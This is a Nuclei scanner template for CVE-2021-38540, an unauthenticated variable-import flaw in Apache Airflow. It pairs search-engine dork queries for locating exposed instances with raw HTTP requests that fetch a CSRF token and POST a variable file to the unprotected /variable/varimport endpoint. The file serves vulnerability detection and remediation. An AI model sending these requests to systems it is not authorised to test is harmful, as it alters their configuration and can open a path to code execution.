id: CVE-2021-38540

info:
  name: Apache Airflow - Unauthenticated Variable Import
  author: pdteam
  severity: critical
  description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
  impact: |
    An attacker can exploit this vulnerability to import malicious variables, potentially gaining unauthorized access to sensitive data.
  remediation: Upgrade to Apache Airflow 2.1.3 or higher.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38540
    - https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
    - https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
    - https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2%40%3Cannounce.apache.org%3E
    - https://github.com/WhooAmii/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-38540
    cwe-id: CWE-306,CWE-269
    epss-score: 0.90036
    epss-percentile: 0.99619
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: airflow
    shodan-query:
      - title:"Sign In - Airflow"
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
      - product:"redis"
    fofa-query:
      - title="sign in - airflow"
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
    google-query:
      - intitle:"sign in - airflow"
      - intitle:"airflow - dags" || http.html:"apache airflow"
  tags: cve2021,cve,apache,airflow,rce,intrusive

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
      - |
        POST /variable/varimport HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
        Referer: {{RootURL}}/admin/variable/

        ------WebKitFormBoundaryB874qcjbpxTP1Hj7
        Content-Disposition: form-data; name="csrf_token"

        {{csrf}}
        ------WebKitFormBoundaryB874qcjbpxTP1Hj7
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.json"
        Content-Type: application/json

        {
            "type": "{{randstr}}"
        }

        ------WebKitFormBoundaryB874qcjbpxTP1Hj7--

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "Sign In")
          - status_code_2 == 302
          - contains(header_2, "session=.")
        condition: and

      - type: word
        words:
          - 'You should be redirected automatically to target URL: <a href="/">'

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - type="hidden" value="(.*?)">
        internal: true
# digest: 4b0a00483046022100f4ac4665cbc36ba41b60fe38dbc360cba419120676a0e4da7a368ba34eb994eb022100efebbe7215cc72cb4b6b250c346632f1ddd24742aac38f918b66581bbb339350:922c64590222798bb761d5b6d8e72950